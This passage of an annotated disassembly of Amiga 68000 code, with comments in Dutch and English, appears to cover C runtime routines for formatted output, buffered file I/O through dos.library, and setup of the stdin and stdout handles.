  1682.     BNE.S    LAB_00F5        ;0FDE: 660C
  1683.     MOVEA.L    (A6)+,A0        ;0FE0: 205E
  1684.     MOVE.L    A6,16(A5)        ;0FE2: 2B4E0010
  1685.     MOVE.L    -50(A5),(A0)        ;0FE6: 20ADFFCE
  1686.     BRA.S    LAB_00F7        ;0FEA: 6014
  1687. LAB_00F5:
  1688.     TST.B    -63(A5)            ;0FEC: 4A2DFFC1
  1689.     BNE.S    LAB_00F6        ;0FF0: 6602
  1690.     SUBQ.L    #1,A3            ;0FF2: 538B
  1691. LAB_00F6:
  1692.     MOVEA.L    12(A5),A2        ;0FF4: 246D000C
  1693.     MOVE.L    A3,D0            ;0FF8: 200B
  1694.     SUB.L    A2,D0            ;0FFA: 908A
  1695.     MOVE.L    D0,-46(A5)        ;0FFC: 2B40FFD2
  1696. LAB_00F7:
  1697.     CLR.L    -8(A5)            ;1000: 42ADFFF8
  1698. LAB_00F8:
  1699.     CLR.L    (A4)            ;1004: 4294
  1700. LAB_00F9:
  1701.     MOVE.L    -46(A5),D0        ;1006: 202DFFD2
  1702.     CMP.L    (A4),D0            ;100A: B094
  1703.     BCC.S    LAB_00FA        ;100C: 6402
  1704.     MOVE.L    (A4),D0            ;100E: 2014
  1705. LAB_00FA:
  1706.     MOVE.L    -42(A5),D3        ;1010: 262DFFD6
  1707.     ADD.L    D0,D3            ;1014: D680
  1708.     CMP.L    -8(A5),D3        ;1016: B6ADFFF8
  1709.     BCS.S    LAB_00FB        ;101A: 6504
  1710.     MOVEQ    #0,D3            ;101C: 7600
  1711.     BRA.S    LAB_00FC        ;101E: 6008
  1712. LAB_00FB:
  1713.     MOVE.L    -8(A5),D0        ;1020: 202DFFF8
  1714.     SUB.L    D3,D0            ;1024: 9083
  1715.     MOVE.L    D0,D3            ;1026: 2600
  1716. LAB_00FC:
  1717.     BTST    #1,D7            ;1028: 08070001
  1718.     BEQ.S    LAB_00FF        ;102C: 670E
  1719.     MOVEQ    #0,D2            ;102E: 7400
  1720.     BRA.S    LAB_00FE        ;1030: 6004
  1721. LAB_00FD:
  1722.     BSR.S    LAB_010C        ;1032: 6166
  1723.     ADDQ.L    #1,D2            ;1034: 5282
  1724. LAB_00FE:
  1725.     CMP.L    -42(A5),D2        ;1036: B4ADFFD6
  1726.     BCS.S    LAB_00FD        ;103A: 65F6
  1727. LAB_00FF:
  1728.     BTST    #2,D7            ;103C: 08070002
  1729.     BNE.S    LAB_0104        ;1040: 6618
  1730.     MOVEQ    #0,D2            ;1042: 7400
  1731.     BRA.S    LAB_0103        ;1044: 6010
  1732. LAB_0100:
  1733.     BTST    #1,D7            ;1046: 08070001
  1734.     BEQ.S    LAB_0101        ;104A: 6704
  1735.     MOVEQ    #48,D0            ;104C: 7030
  1736.     BRA.S    LAB_0102        ;104E: 6002
  1737. LAB_0101:
  1738.     MOVEQ    #32,D0            ;1050: 7020
  1739. LAB_0102:
  1740.     BSR.S    LAB_010E        ;1052: 614C
  1741.     ADDQ.L    #1,D2            ;1054: 5282
  1742. LAB_0103:
  1743.     CMP.L    D3,D2            ;1056: B483
  1744.     BCS.S    LAB_0100        ;1058: 65EC
  1745. LAB_0104:
  1746.     BTST    #1,D7            ;105A: 08070001
  1747.     BNE.S    LAB_0107        ;105E: 660E
  1748.     MOVEQ    #0,D2            ;1060: 7400
  1749.     BRA.S    LAB_0106        ;1062: 6004
  1750. LAB_0105:
  1751.     BSR.S    LAB_010C        ;1064: 6134
  1752.     ADDQ.L    #1,D2            ;1066: 5282
  1753. LAB_0106:
  1754.     CMP.L    -42(A5),D2        ;1068: B4ADFFD6
  1755.     BCS.S    LAB_0105        ;106C: 65F6
  1756. LAB_0107:
  1757.     MOVE.L    -46(A5),D2        ;106E: 242DFFD2
  1758.     BRA.S    LAB_0109        ;1072: 6006
  1759. LAB_0108:
  1760.     MOVEQ    #48,D0            ;1074: 7030
  1761.     BSR.S    LAB_010E        ;1076: 6128
  1762.     ADDQ.L    #1,D2            ;1078: 5282
  1763. LAB_0109:
  1764.     CMP.L    (A4),D2            ;107A: B494
  1765.     BCS.S    LAB_0108        ;107C: 65F6
  1766.     MOVEQ    #0,D2            ;107E: 7400
  1767.     BRA.S    LAB_010B        ;1080: 6008
  1768. LAB_010A:
  1769.     MOVE.B    0(A2,D2.L),D0        ;1082: 10322800
  1770.     BSR.S    LAB_010D        ;1086: 6116
  1771.     ADDQ.L    #1,D2            ;1088: 5282
  1772. LAB_010B:
  1773.     CMP.L    -46(A5),D2        ;108A: B4ADFFD2
  1774.     BCS.S    LAB_010A        ;108E: 65F2
  1775.     BTST    #2,D7            ;1090: 08070002
  1776.     BEQ.S    LAB_0111        ;1094: 672E
  1777.     MOVEQ    #0,D2            ;1096: 7400
  1778.     BRA.S    LAB_0110        ;1098: 6026
  1779. LAB_010C:
  1780.     MOVE.B    -18(A5,D2.L),D0        ;109A: 103528EE
  1781. LAB_010D:
  1782.     DC.W    $49C0            ;109E
  1783. LAB_010E:
  1784.     MOVE.L    D0,-(A7)        ;10A0: 2F00
  1785.     MOVEA.L    8(A5),A0        ;10A2: 206D0008
  1786.     MOVE.L    A0,-(A7)        ;10A6: 2F08
  1787.     MOVEA.L    72(A0),A0        ;10A8: 20680048
  1788.     JSR    (A0)            ;10AC: 4E90
  1789.     ADDQ    #8,A7            ;10AE: 504F
  1790.     ADDQ.L    #1,D0            ;10B0: 5280
  1791.     BEQ.S    LAB_0114        ;10B2: 671E
  1792.     ADDQ.L    #1,-50(A5)        ;10B4: 52ADFFCE
  1793.     RTS                ;10B8: 4E75
  1794. LAB_010F:
  1795.     MOVEQ    #32,D0            ;10BA: 7020
  1796.     BSR.S    LAB_010E        ;10BC: 61E2
  1797.     ADDQ.L    #1,D2            ;10BE: 5282
  1798. LAB_0110:
  1799.     CMP.L    D3,D2            ;10C0: B483
  1800.     BCS.S    LAB_010F        ;10C2: 65F6
  1801. LAB_0111:
  1802.     MOVEA.L    A3,A2            ;10C4: 244B
  1803.     BRA.S    LAB_0113        ;10C6: 6004
  1804. LAB_0112:
  1805.     MOVE.B    (A2)+,D0        ;10C8: 101A
  1806.     BSR.S    LAB_010D        ;10CA: 61D2
  1807. LAB_0113:
  1808.     TST.B    (A2)            ;10CC: 4A12
  1809.     BNE    LAB_0080        ;10CE: 6600F8A4
  1810. LAB_0114:
  1811.     MOVE.L    -50(A5),D0        ;10D2: 202DFFCE
  1812.     MOVEM.L    (A7)+,D2-D7/A2-A4/A6    ;10D6: 4CDF5CFC
  1813.     UNLK    A5            ;10DA: 4E5D
  1814.     RTS                ;10DC: 4E75
  1815. LAB_0115:
  1816.     MOVE.L    D0,-(A2)        ;10DE: 2500
  1817. LAB_0116:
  1818.     DC.W    $2B69            ;10E0
  1819.     BGT.S    LAB_011E+2        ;10E2: 6E66
  1820. LAB_0117:
  1821.     DC.W    $002D            ;10E4
  1822.     BVS.S    LAB_0120        ;10E6: 696E
  1823.     DC.W    $6600            ;10E8
  1824. LAB_0118:
  1825.     MOVE.L    A1,USP            ;10EA: 4E61
  1826.     DC.W    $4E00            ;10EC
  1827.     DC.W    $0000            ;10EE
  1828. LAB_0119:
  1829.     MOVEM.L    D2-D3/A2-A3/A6,-(A7)    ;10F0: 48E73032
  1830.     MOVEA.L    24(A7),A2        ;10F4: 246F0018
  1831.     MOVEA.L    dosstore,A6        ;10F8: 2C79000017A4
  1832.     LEA    -256(A7),A3        ;10FE: 47EFFF00
  1833.     MOVEQ    #0,D2            ;1102: 7400
  1834.     MOVE.L    A2,-(A7)        ;1104: 2F0A
  1835.     BSR    LAB_011E        ;1106: 61000040
  1836.     ADDQ    #4,A7            ;110A: 584F
  1837.     BTST    #3,20(A2)        ;110C: 082A00030014
  1838.     BEQ.S    LAB_011A        ;1112: 6712
  1839.     MOVE.L    8(A2),D1        ;1114: 222A0008
  1840.     MOVE.L    A3,D2            ;1118: 240B
  1841.     MOVE.L    #$00000100,D3        ;111A: 263C00000100
  1842.     JSR    -408(A6)        ;1120: 4EAEFE68
  1843.     MOVE.L    D0,D2            ;1124: 2400
  1844. LAB_011A:
  1845.     MOVE.L    8(A2),D1        ;1126: 222A0008
  1846.     JSR    -36(A6)            ;112A: 4EAEFFDC
  1847.     BNE.S    LAB_011B        ;112E: 6604
  1848.     MOVEQ    #-1,D0            ;1130: 70FF
  1849.     BRA.S    LAB_011D        ;1132: 600C
  1850. LAB_011B:
  1851.     TST.L    D2            ;1134: 4A82
  1852.     BEQ.S    LAB_011C        ;1136: 6706
  1853.     MOVE.L    A3,D1            ;1138: 220B
  1854.     JSR    -72(A6)            ;113A: 4EAEFFB8
  1855. LAB_011C:
  1856.     MOVEQ    #0,D0            ;113E: 7000
  1857. LAB_011D:
  1858.     MOVEM.L    (A7)+,D2-D3/A2-A3/A6    ;1140: 4CDF4C0C
  1859.     RTS                ;1144: 4E75
  1860.     DC.W    $0000            ;1146
  1861. LAB_011E:
  1862.     MOVEM.L    D2-D4/A2-A3/A5-A6,-(A7)    ;1148: 48E73836
  1863.     MOVEQ    #0,D0            ;114C: 7000
  1864.     MOVEA.L    32(A7),A2        ;114E: 246F0020
  1865.     MOVE.L    28(A2),D2        ;1152: 242A001C
  1866. LAB_0120:
  1867.     BEQ.S    LAB_0123        ;1156: 674A
  1868.     LEA    36(A2),A3        ;1158: 47EA0024
  1869.     LEA    40(A2),A5        ;115C: 4BEA0028
  1870.     MOVEA.L    dosstore,A6        ;1160: 2C79000017A4
  1871.     MOVE.L    8(A2),D1        ;1166: 222A0008
  1872.     MOVE.L    20(A2),D4        ;116A: 282A0014
  1873.     BTST    #5,D4            ;116E: 08040005
  1874.     BEQ.S    LAB_0121        ;1172: 671A
  1875.     MOVE.L    (A3),D3            ;1174: 2613
  1876.     SUB.L    (A5),D3            ;1176: 9695
  1877.     ADD.L    (A5),D2            ;1178: D495
  1878.     JSR    -48(A6)            ;117A: 4EAEFFD0
  1879.     CMP.L    D3,D0            ;117E: B083
  1880.     BGE.S    LAB_0122        ;1180: 6C1C
  1881.     JSR    -132(A6)        ;1182: 4EAEFF7C
  1882.     MOVE.L    D0,24(A2)        ;1186: 25400018
  1883.     MOVEQ    #-1,D0            ;118A: 70FF
  1884.     BRA.S    LAB_0122        ;118C: 6010
  1885. LAB_0121:
  1886.     BTST    #6,D4            ;118E: 08040006
  1887.     BEQ.S    LAB_0123        ;1192: 670E
  1888.     MOVE.L    (A5),D2            ;1194: 2415
  1889.     SUB.L    (A3),D2            ;1196: 9493
  1890.     MOVEQ    #0,D3            ;1198: 7600
  1891.     JSR    -66(A6)            ;119A: 4EAEFFBE
  1892. LAB_0122:
  1893.     CLR.L    (A5)            ;119E: 4295
  1894.     CLR.L    (A3)            ;11A0: 4293
  1895. LAB_0123:
  1896.     MOVEQ    #-97,D1            ;11A2: 729F
  1897.     AND.L    D1,20(A2)        ;11A4: C3AA0014
  1898.     MOVEM.L    (A7)+,D2-D4/A2-A3/A5-A6    ;11A8: 4CDF6C1C
  1899.     RTS                ;11AC: 4E75
  1900.     DC.W    $0000            ;11AE
  1901. LAB_0124:
  1902.     MOVEM.L    D2-D7/A2-A6,-(A7)    ;11B0: 48E73F3E
  1903.     MOVE.L    56(A7),D3        ;11B4: 262F0038
  1904.     MOVEA.L    48(A7),A3        ;11B8: 266F0030
  1905.     MOVE.L    52(A7),D7        ;11BC: 2E2F0034
  1906.     MOVEA.L    dosstore,A6        ;11C0: 2C79000017A4
  1907.     MOVEQ    #0,D6            ;11C6: 7C00
  1908.     LEA    60(A7),A5        ;11C8: 4BEF003C
  1909.     LEA    40(A3),A2        ;11CC: 45EB0028
  1910.     LEA    28(A3),A4        ;11D0: 49EB001C
  1911.     BNE.S    LAB_0126        ;11D4: 6614
  1912.     MOVE.L    8(A3),D1        ;11D6: 222B0008
  1913.     MOVE.L    D7,D2            ;11DA: 2407
  1914.     JSR    -42(A6)            ;11DC: 4EAEFFD6
  1915.     MOVE.L    D0,D5            ;11E0: 2A00
  1916.     BNE.S    LAB_0125        ;11E2: 6602
  1917.     MOVEQ    #1,D6            ;11E4: 7C01
  1918. LAB_0125:
  1919.     BRA    LAB_0134        ;11E6: 6000009C
  1920. LAB_0126:
  1921.     BTST    #5,23(A3)        ;11EA: 082B00050017
  1922.     BEQ.S    LAB_0127        ;11F0: 6708
  1923.     MOVE.L    A3,-(A7)        ;11F2: 2F0B
  1924.     BSR    LAB_011E        ;11F4: 6100FF52
  1925.     ADDQ    #4,A7            ;11F8: 584F
  1926. LAB_0127:
  1927.     MOVEQ    #0,D5            ;11FA: 7A00
  1928.     MOVE.L    D3,D4            ;11FC: 2803
  1929.     BLE.S    LAB_0133        ;11FE: 6F7E
  1930. LAB_0128:
  1931.     MOVE.L    36(A3),D0        ;1200: 202B0024
  1932.     SUB.L    (A2),D0            ;1204: 9092
  1933.     BLE.S    LAB_012F        ;1206: 6F4E
  1934.     CMP.L    D4,D0            ;1208: B084
  1935.     BLE.S    LAB_0129        ;120A: 6F02
  1936.     MOVE.L    D4,D0            ;120C: 2004
  1937. LAB_0129:
  1938.     TST.L    (A5)            ;120E: 4A95
  1939.     BEQ.S    LAB_012C        ;1210: 672A
  1940.     MOVEA.L    D7,A0            ;1212: 2047
  1941.     MOVEA.L    (A4),A1            ;1214: 2254
  1942.     ADDA.L    (A2),A1            ;1216: D3D2
  1943.     TST.L    D0            ;1218: 4A80
  1944.     BLE.S    LAB_012B        ;121A: 6F0E
  1945. LAB_012A:
  1946.     MOVE.B    (A1)+,D1        ;121C: 1219
  1947.     MOVE.B    D1,(A0)+        ;121E: 10C1
  1948.     CMP.B    #$0A,D1            ;1220: B23C000A
  1949.     BEQ.S    LAB_012B        ;1224: 6704
  1950.     SUBQ.L    #1,D0            ;1226: 5380
  1951.     BGT.S    LAB_012A        ;1228: 6EF2
  1952. LAB_012B:
  1953.     MOVE.L    A0,D2            ;122A: 2408
  1954.     SUB.L    D7,D2            ;122C: 9487
  1955.     MOVE.L    A0,D7            ;122E: 2E08
  1956.     SUB.L    D2,D4            ;1230: 9882
  1957.     ADD.L    D2,(A2)            ;1232: D592
  1958.     ADD.L    D2,D5            ;1234: DA82
  1959.     TST.L    D0            ;1236: 4A80
  1960.     BLE.S    LAB_0132        ;1238: 6F40
  1961.     BRA.S    LAB_0133        ;123A: 6042
  1962. LAB_012C:
  1963.     MOVEA.L    (A4),A1            ;123C: 2254
  1964.     ADDA.L    (A2),A1            ;123E: D3D2
  1965.     MOVEA.L    D7,A0            ;1240: 2047
  1966.     MOVE.L    D0,D1            ;1242: 2200
  1967.     BEQ.S    LAB_012E        ;1244: 6706
  1968. LAB_012D:
  1969.     MOVE.B    (A1)+,(A0)+        ;1246: 10D9
  1970.     SUBQ.L    #1,D1            ;1248: 5381
  1971.     BNE.S    LAB_012D        ;124A: 66FA
  1972. LAB_012E:
  1973.     ADD.L    D0,D6            ;124C: DC80
  1974.     SUB.L    D0,D4            ;124E: 9880
  1975.     ADD.L    D0,(A2)            ;1250: D192
  1976.     ADD.L    D0,D5            ;1252: DA80
  1977.     BRA.S    LAB_0132        ;1254: 6024
  1978. LAB_012F:
  1979.     MOVE.L    32(A3),D3        ;1256: 262B0020
  1980.     MOVE.L    (A4),D2            ;125A: 2414
  1981.     MOVE.L    8(A3),D1        ;125C: 222B0008
  1982.     JSR    -42(A6)            ;1260: 4EAEFFD6
  1983.     BGT.S    LAB_0131        ;1264: 6E0E
  1984.     BNE.S    LAB_0130        ;1266: 6604
  1985.     TST.L    D5            ;1268: 4A85
  1986.     BGT.S    LAB_0133        ;126A: 6E12
  1987. LAB_0130:
  1988.     MOVE.L    D0,D5            ;126C: 2A00
  1989.     BNE.S    LAB_0133        ;126E: 660E
  1990.     MOVEQ    #1,D6            ;1270: 7C01
  1991.     BRA.S    LAB_0133        ;1272: 600A
  1992. LAB_0131:
  1993.     CLR.L    (A2)            ;1274: 4292
  1994.     MOVE.L    D0,36(A3)        ;1276: 27400024
  1995. LAB_0132:
  1996.     TST.L    D4            ;127A: 4A84
  1997.     BGT.S    LAB_0128        ;127C: 6E82
  1998. LAB_0133:
  1999.     MOVEQ    #64,D7            ;127E: 7E40
  2000.     OR.L    D7,20(A3)        ;1280: 8FAB0014
  2001. LAB_0134:
  2002.     TST.L    D5            ;1284: 4A85
  2003.     BPL.S    LAB_0135        ;1286: 6A0A
  2004.     JSR    -132(A6)        ;1288: 4EAEFF7C
  2005.     MOVE.L    D0,24(A3)        ;128C: 27400018
  2006.     BRA.S    LAB_0137        ;1290: 6012
  2007. LAB_0135:
  2008.     TST.L    D6            ;1292: 4A86
  2009.     BEQ.S    LAB_0136        ;1294: 6708
  2010.     MOVEQ    #1,D7            ;1296: 7E01
  2011.     OR.L    D7,20(A3)        ;1298: 8FAB0014
  2012.     BRA.S    LAB_0137        ;129C: 6006
  2013. LAB_0136:
  2014.     MOVEQ    #-2,D7            ;129E: 7EFE
  2015.     AND.L    D7,20(A3)        ;12A0: CFAB0014
  2016. LAB_0137:
  2017.     MOVE.L    D5,D0            ;12A4: 2005
  2018.     MOVEM.L    (A7)+,D2-D7/A2-A6    ;12A6: 4CDF7CFC
  2019.     RTS                ;12AA: 4E75
  2020. LAB_0138:
  2021.     MOVEM.L    D2-D3/A2/A6,-(A7)    ;12AC: 48E73022
  2022.     MOVEM.L    24(A7),D2-D3        ;12B0: 4CEF000C0018
  2023.     MOVEA.L    20(A7),A2        ;12B6: 246F0014
  2024.     MOVE.L    A2,-(A7)        ;12BA: 2F0A
  2025.     BSR    LAB_011E        ;12BC: 6100FE8A
  2026.     ADDQ    #4,A7            ;12C0: 584F
  2027.     MOVE.L    8(A2),D1        ;12C2: 222A0008
  2028.     MOVEA.L    dosstore,A6        ;12C6: 2C79000017A4
  2029.     JSR    -66(A6)            ;12CC: 4EAEFFBE
  2030.     MOVE.L    D0,D2            ;12D0: 2400
  2031.     ADDQ.L    #1,D0            ;12D2: 5280
  2032.     BNE.S    LAB_0139        ;12D4: 6608
  2033.     JSR    -132(A6)        ;12D6: 4EAEFF7C
  2034.     MOVE.L    D0,24(A2)        ;12DA: 25400018
  2035. LAB_0139:
  2036.     MOVE.L    D2,D0            ;12DE: 2002
  2037.     MOVEM.L    (A7)+,D2-D3/A2/A6    ;12E0: 4CDF440C
  2038.     RTS                ;12E4: 4E75
  2039.     DC.W    $0000            ;12E6
  2040. LAB_013A:
  2041.     MOVEM.L    D2-D6/A2-A6,-(A7)    ;12E8: 48E73E3E
  2042.     MOVE.L    52(A7),D4        ;12EC: 282F0034
  2043.     MOVEA.L    44(A7),A3        ;12F0: 266F002C
  2044.     MOVEA.L    dosstore,A6        ;12F4: 2C79000017A4
  2045.     LEA    48(A7),A5        ;12FA: 4BEF0030
  2046.     LEA    36(A3),A2        ;12FE: 45EB0024
  2047.     LEA    40(A3),A4        ;1302: 49EB0028
  2048.     MOVEQ    #0,D5            ;1306: 7A00
  2049.     MOVE.L    8(A3),D1        ;1308: 222B0008
  2050.     MOVE.L    28(A3),D6        ;130C: 2C2B001C
  2051.     BNE.S    LAB_013B        ;1310: 660E
  2052.     MOVE.L    (A5),D2            ;1312: 2415
  2053.     MOVE.L    D4,D3            ;1314: 2604
  2054.     JSR    -48(A6)            ;1316: 4EAEFFD0
  2055.     MOVE.L    D0,D5            ;131A: 2A00
  2056.     BRA    LAB_0148        ;131C: 60000098
  2057. LAB_013B:
  2058.     MOVEQ    #64,D0            ;1320: 7040
  2059.     AND.L    D0,20(A3)        ;1322: C1AB0014
  2060.     BEQ.S    LAB_0142        ;1326: 674A
  2061.     MOVE.L    A3,-(A7)        ;1328: 2F0B
  2062.     BSR    LAB_011E        ;132A: 6100FE1C
  2063.     ADDQ    #4,A7            ;132E: 584F
  2064.     BRA.S    LAB_0142        ;1330: 6040
  2065. LAB_013C:
  2066.     MOVE.L    32(A3),D3        ;1332: 262B0020
  2067.     SUB.L    (A2),D3            ;1336: 9692
  2068.     BLE.S    LAB_0140        ;1338: 6F20
  2069.     CMP.L    D4,D3            ;133A: B684
  2070.     BLS.S    LAB_013D        ;133C: 6302
  2071.     MOVE.L    D4,D3            ;133E: 2604
  2072. LAB_013D:
  2073.     MOVEA.L    (A5),A1            ;1340: 2255
  2074.     MOVEA.L    D6,A0            ;1342: 2046
  2075.     ADDA.L    (A2),A0            ;1344: D1D2
  2076.     MOVE.L    D3,D0            ;1346: 2003
  2077.     BEQ.S    LAB_013F        ;1348: 6706
  2078. LAB_013E:
  2079.     MOVE.B    (A1)+,(A0)+        ;134A: 10D9
  2080.     SUBQ.L    #1,D0            ;134C: 5380
  2081.     BNE.S    LAB_013E        ;134E: 66FA
  2082. LAB_013F:
  2083.     ADD.L    D3,(A5)            ;1350: D795
  2084.     SUB.L    D3,D4            ;1352: 9883
  2085.     ADD.L    D3,(A2)            ;1354: D792
  2086.     ADD.L    D3,D5            ;1356: DA83
  2087.     BRA.S    LAB_0142        ;1358: 6018
  2088. LAB_0140:
  2089.     MOVE.L    (A2),D3            ;135A: 2612
  2090.     SUB.L    (A4),D3            ;135C: 9694
  2091.     MOVE.L    D6,D2            ;135E: 2406
  2092.     ADD.L    (A4),D2            ;1360: D494
  2093.     JSR    -48(A6)            ;1362: 4EAEFFD0
  2094.     CMP.L    D3,D0            ;1366: B083
  2095.     BGE.S    LAB_0141        ;1368: 6C04
  2096.     MOVEQ    #-1,D5            ;136A: 7AFF
  2097.     BRA.S    LAB_0143        ;136C: 6008
  2098. LAB_0141:
  2099.     CLR.L    (A4)            ;136E: 4294
  2100.     CLR.L    (A2)            ;1370: 4292
  2101. LAB_0142:
  2102.     TST.L    D4            ;1372: 4A84
  2103.     BNE.S    LAB_013C        ;1374: 66BC
  2104. LAB_0143:
  2105.     MOVEQ    #-1,D0            ;1376: 70FF
  2106.     CMP.L    44(A3),D0        ;1378: B0AB002C
  2107.     BNE.S    LAB_0147        ;137C: 6632
  2108.     CMP.L    D0,D5            ;137E: BA80
  2109.     BEQ.S    LAB_0147        ;1380: 672E
  2110.     MOVEA.L    D6,A0            ;1382: 2046
  2111.     ADDA.L    (A2),A0            ;1384: D1D2
  2112.     MOVE.L    D6,D2            ;1386: 2406
  2113.     ADD.L    (A4),D2            ;1388: D494
  2114. LAB_0144:
  2115.     SUBQ    #1,A0            ;138A: 5348
  2116.     CMPA.L    D2,A0            ;138C: B1C2
  2117.     BCS.S    LAB_0145        ;138E: 6506
  2118.     CMPI.B    #$0A,(A0)        ;1390: 0C10000A
  2119.     BNE.S    LAB_0144        ;1394: 66F4
  2120. LAB_0145:
  2121.     CMPA.L    D2,A0            ;1396: B1C2
  2122.     BCS.S    LAB_0147        ;1398: 6516
  2123.     MOVE.L    A0,D3            ;139A: 2608
  2124.     SUB.L    D2,D3            ;139C: 9682
  2125.     ADDQ.L    #1,D3            ;139E: 5283
  2126.     MOVE.L    8(A3),D1        ;13A0: 222B0008
  2127.     JSR    -48(A6)            ;13A4: 4EAEFFD0
  2128.     CMP.L    D3,D0            ;13A8: B083
  2129.     BGE.S    LAB_0146        ;13AA: 6C02
  2130.     MOVEQ    #-1,D5            ;13AC: 7AFF
  2131. LAB_0146:
  2132.     ADD.L    D3,(A4)            ;13AE: D794
  2133. LAB_0147:
  2134.     MOVEQ    #32,D0            ;13B0: 7020
  2135.     OR.L    D0,20(A3)        ;13B2: 81AB0014
  2136. LAB_0148:
  2137.     TST.L    D5            ;13B6: 4A85
  2138.     BPL.S    LAB_0149        ;13B8: 6A08
  2139.     JSR    -132(A6)        ;13BA: 4EAEFF7C
  2140.     MOVE.L    D0,24(A3)        ;13BE: 27400018
  2141. LAB_0149:
  2142.     MOVE.L    D5,D0            ;13C2: 2005
  2143.     MOVEM.L    (A7)+,D2-D6/A2-A6    ;13C4: 4CDF7C7C
  2144.     RTS                ;13C8: 4E75
  2145.     DC.W    $0000            ;13CA
  2146. LAB_014A:
  2147.     LEA    LAB_018B,A0        ;13CC: 41F9000017C0
  2148.     BSR.S    LAB_014B        ;13D2: 610E
  2149.     LEA    LAB_018C,A0        ;13D4: 41F900001814
  2150.     BSR.S    LAB_014B        ;13DA: 6106
  2151.     LEA    LAB_018D,A0        ;13DC: 41F900001868
  2152.  
  2153.     ; a0 bevat pointer naar LAB_018D
  2154.     ; routine maakt waarschijnlijk reloc table aan in 18b en 18c en 18d
  2155.         LAB_0124
  2156.         LAB_013A
  2157.         LAB_003B
  2158.         LAB_0138
  2159.         LAB_0030
  2160.         LAB_003A
  2161.         LAB_0034
  2162.         LAB_011E
  2163.         LAB_0119
  2164.  
  2165.     ; LAB_018b, LAB_018c en LAB_18d bevatten hetzelfde...
  2166.  
  2167. LAB_014B:
  2168.     LEA    48(A0),A0        ;13E2: 41E80030        maak reloc table aan...
  2169.     LEA    LAB_0124(PC),A1        ;13E6: 43FAFDC8        copieer ptr naar A1
  2170.     MOVE.L    A1,(A0)+        ;13EA: 20C9        copieer ptr naar A0, longword verder
  2171.     LEA    LAB_013A(PC),A1        ;13EC: 43FAFEFA
  2172.     MOVE.L    A1,(A0)+        ;13F0: 20C9
  2173.     LEA    LAB_003B(PC),A1        ;13F2: 43FAF1A8
  2174.     MOVE.L    A1,(A0)+        ;13F6: 20C9
  2175.     LEA    LAB_0138(PC),A1        ;13F8: 43FAFEB2
  2176.     MOVE.L    A1,(A0)+        ;13FC: 20C9
  2177.     LEA    LAB_0030(PC),A1        ;13FE: 43FAF0A8
  2178.     MOVE.L    A1,(A0)+        ;1402: 20C9
  2179.     LEA    LAB_003A(PC),A1        ;1404: 43FAF176
  2180.     MOVE.L    A1,(A0)+        ;1408: 20C9
  2181.     LEA    LAB_0034(PC),A1        ;140A: 43FAF0EC
  2182.     MOVE.L    A1,(A0)+        ;140E: 20C9
  2183.     LEA    LAB_011E(PC),A1        ;1410: 43FAFD36
  2184.     MOVE.L    A1,(A0)+        ;1414: 20C9
  2185.     LEA    LAB_0119(PC),A1        ;1416: 43FAFCD8
  2186.     MOVE.L    A1,(A0)            ;141A: 2089
  2187.     RTS                ;141C: 4E75
  2188. LAB_014C:
  2189.     MOVEM.L    D3/A2/A6,-(A7)        ;141E: 48E71022
  2190.     MOVEA.L    dosstore,A6        ;1422: 2C79000017A4
  2191.     JSR    _LVOOutput(A6)        ;1428: 4EAEFFC4
  2192.     LEA    LAB_018B,A2        ;142C: 45F9000017C0    routine lijst ptr to A2
  2193.     MOVE.L    D0,8(A2)        ;1432: 25400008        copy stdout to 8 after A2
  2194.     MOVE.L    D0,D1            ;1436: 2200        copy stdout to D1
  2195.     JSR    IsInteractive(A6)    ;1438: 4EAEFF28
  2196.     TST.L    D0            ;143C: 4A80        stdout is terminal??
  2197.     BEQ.S    LAB_014D        ;143E: 6712        nope...something wrong??
  2198.     MOVEQ    #4,D3            ;1440: 7604        D3=4
  2199.     OR.L    D3,20(A2)        ;1442: 87AA0014
  2200.     PEA    (200).W            ;1446: 487800C8
  2201.     PEA    (-1).W            ;144A: 4878FFFF
  2202.     CLR.L    -(A7)            ;144E: 42A7        stack leeg
  2203.     BRA.S    LAB_014E        ;1450: 600A
  2204. LAB_014D:
  2205.     PEA    (2048).W        ;1452: 48780800
  2206.     PEA    (1).W            ;1456: 48780001
  2207.     MOVE.L    D0,-(A7)        ;145A: 2F00
  2208. LAB_014E:
  2209.     MOVE.L    A2,-(A7)        ;145C: 2F0A        a2 op stack
  2210.     BSR    LAB_0025        ;145E: 6100EFA8
  2211.     LEA    16(A7),A7        ;1462: 4FEF0010
  2212.     JSR    _LVOInput(A6)        ;1466: 4EAEFFCA        get stdin
  2213.     LEA    LAB_018C,A2        ;146A: 45F900001814    get ptr to buffer
  2214.     MOVE.L    D0,8(A2)        ;1470: 25400008
  2215.     MOVE.L    D0,D1            ;1474: 2200
  2216.     JSR    IsInteractive(A6)    ;1476: 4EAEFF28        is it a terminal?
  2217.     TST.L    D0            ;147A: 4A80
  2218.     BEQ.S    LAB_014F        ;147C: 6712        nope...something wrong?
  2219.     MOVEQ    #4,D3            ;147E: 7604        all ok..
  2220.     OR.L    D3,20(A2)        ;1480: 87AA0014
  2221.     PEA    (200).W            ;1484: 487800C8
  2222.     PEA    (-1).W            ;1488: 4878FFFF
  2223.     CLR.L    -(A7)            ;148C: 42A7
  2224.     BRA.S    LAB_0150        ;148E: 600A        skip...
  2225. LAB_014F:
  2226.     PEA    (2048).W        ;1490: 48780800
  2227.     PEA    (1).W            ;1494: 48780001
  2228.     MOVE.L    D0,-(A7)        ;1498: 2F00
  2229. LAB_0150:
  2230.     MOVE.L    A2,-(A7)        ;149A: 2F0A
  2231.     BSR    LAB_0025        ;149C: 6100EF6A
  2232.     LEA    16(A7),A7        ;14A0: 4FEF0010
  2233.     JSR     _LVOOutput(A6)        ;14A4: 4EAEFFC4
  2234.     LEA    LAB_018D,A2        ;14A8: 45F900001868
  2235.     MOVE.L    D0,8(A2)        ;14AE: 25400008
  2236.     MOVE.L    D0,D1            ;14B2: 2200
  2237.     JSR    IsInteractive(A6)    ;14B4: 4EAEFF28
  2238.     TST.L    D0            ;14B8: 4A80
  2239.     BEQ.S    LAB_0151        ;14BA: 6712
  2240.     MOVEQ    #4,D3            ;14BC: 7604
  2241.     OR.L    D3,20(A2)        ;14BE: 87AA0014
  2242.     PEA    (200).W            ;14C2: 487800C8
  2243.     PEA    (-1).W            ;14C6: 4878FFFF
  2244.     CLR.L    -(A7)            ;14CA: 42A7
  2245.     BRA.S    LAB_0152        ;14CC: 600A
  2246. LAB_0151:
  2247.     PEA    (2048).W        ;14CE: 48780800
  2248.     PEA    (1).W            ;14D2: 48780001
  2249.     MOVE.L    D0,-(A7)        ;14D6: 2F00
  2250. LAB_0152:
  2251.     MOVE.L    A2,-(A7)        ;14D8: 2F0A
